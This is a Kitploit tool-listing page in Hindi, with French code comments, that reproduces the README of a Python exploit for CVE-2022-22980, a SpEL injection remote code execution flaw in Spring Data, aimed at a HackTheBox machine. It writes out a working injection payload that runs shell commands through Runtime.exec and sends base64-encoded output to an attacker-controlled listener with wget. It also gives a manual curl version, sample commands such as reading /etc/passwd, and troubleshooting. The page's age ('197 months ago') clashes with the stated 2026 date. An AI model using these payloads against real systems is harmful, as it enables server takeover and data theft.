Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-22980 — CVE-2022-22980 का शोषण | Kitploit
उपकरण/GitHubGitHub/eliasdekiniweek/cve-2022-22980
पेलोड जनरेशनशोषणवेब एप्लिकेशन शोषणCTFकमांड एंड कंट्रोललर्निंग और शिक्षा
GitHubeliasdekiniweek/cve-2022-22980

CVE-2022-22980

CVE-2022-22980 का शोषण

रिपॉजिटरी देखें
197 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

SpEL RCE Exploit - CVE-2022-22980

Spring Data पर SpEL (Spring Expression Language) इंजेक्शन के माध्यम से दूरस्थ कोड निष्पादन (RCE) के लिए एक्सप्लॉइट।

विवरण

भेद्यता

यह बॉक्स एक /search एंडपॉइंट उजागर करता है जो tracking_id पैरामीटर स्वीकार करता है जो SpEL इंजेक्शन के लिए संवेदनशील है। यह इंजेक्शन सर्वर पर सीधे दुर्भावनापूर्ण Java एक्सप्रेशंस के निष्पादन की अनुमति देता है।

शोषण सिद्धांत

  1. Runtime.getRuntime().exec() के माध्यम से शेल कमांड निष्पादित करने वाला एक SpEL एक्सप्रेशन इंजेक्ट करें
  2. कमांड के आउटपुट को base64 में एन्कोड करें
  3. नियंत्रित listener पर HTTP GET अनुरोध के माध्यम से परिणाम exfiltrate करें
  4. परिणाम को डिकोड करके प्रदर्शित करें

उपयोग

आवश्यक शर्तें

  • Python 3.x मानक मॉड्यूल के साथ (http.server, subprocess, threading, base64)
  • आपकी स्थानीय मशीन पर curl
  • लक्ष्य मशीन पर wget (एक्सफिलट्रेशन के लिए)
  • पोर्ट 80 उपलब्ध हो (या स्क्रिप्ट में LPORT बदलें)
  • लक्ष्य तक नेटवर्क पहुंच

कॉन्फ़िगरेशन

अपने वातावरण के अनुसार स्क्रिप्ट में पैरामीटर बदलें:

TARGET = "http://<IP_CIBLE>:8080/search"   # URL de la cible
LHOST = "<VOTRE_IP>"                        # IP locale (tun0 pour HTB)
LPORT = 80                                  # Port d'écoute

निष्पादन

# Commande simple
python3 spel_shell.py "whoami"

# Commande avec pipe
python3 spel_shell.py "cat /etc/passwd"

# Énumération système
python3 spel_shell.py "uname -a"

# Vérifier l'accès réseau
python3 spel_shell.py "curl -s http://httpbin.org/get"

आउटपुट का उदाहरण

[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==

[+] Command output:

root

मैनुअल Payload (संदर्भ)

यदि आप स्क्रिप्ट के बिना payload का परीक्षण करना चाहते हैं:

# Terminal 1 : Démarrer le listener
python3 -m http.server 80

# Terminal 2 : Envoyer la payload
curl -X POST \
  -d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<VOTRE_IP>:80/{}"})' \
  http://<IP_CIBLE>:8080/search

समस्या निवारण

त्रुटि: "Address already in use"

पोर्ट 80 व्यस्त है। समाधान:

# Vérifier quel processus utilise le port
sudo netstat -tlnp | grep :80

# Arrêter Apache si actif
sudo systemctl stop apache2

# Ou utiliser un autre port
# Modifiez LPORT dans le script et testez

कोई प्रतिक्रिया नहीं ("No response received")

  1. नेटवर्क कनेक्टिविटी जांचें : सुनिश्चित करें कि लक्ष्य आपके LHOST:LPORT तक पहुंच सकता है
  2. एक सरल कमांड से परीक्षण करें : python3 spel_shell.py "echo test"
  3. पोर्ट अधिकार जांचें : पोर्ट 80 को Linux पर sudo की आवश्यकता होती है
  4. LHOST IP जांचें : ifconfig का उपयोग करें (HTB के लिए tun0) और 127.0.0.1 नहीं

base64 डिकोडिंग त्रुटि

यदि आपको "Command output" के बजाय "Raw data received" दिखाई देता है, तो कमांड ने वैध आउटपुट उत्पन्न नहीं किया होगा। एक ऐसी कमांड का परीक्षण करें जो हमेशा आउटपुट उत्पन्न करती है।

स्क्रिप्ट का आर्किटेक्चर

1. start_server() - Lance un serveur HTTP sur le port 80
                   ↓
2. Envoie la payload SpEL via curl vers la cible
                   ↓
3. La cible exécute la commande et encode le résultat en base64
                   ↓
4. wget envoie le résultat vers le listener (GET http://LHOST:LPORT/<data>)
                   ↓
5. Le Handler reçoit la data et la stocke
                   ↓
6. Le script décode et affiche le résultat

चेतावनी

यह स्क्रिप्ट HackTheBox बॉक्सेस के लिए शैक्षिक उद्देश्यों में प्रदान की गई है। इसका उपयोग केवल उन वातावरणों पर करें जिन्हें परीक्षण करने की आपके पास अनुमति है।


लेखक : Eliasdekiniweek दिनांक : फ़रवरी 2026
भाषा : Python 3

टूल डाउनलोड करें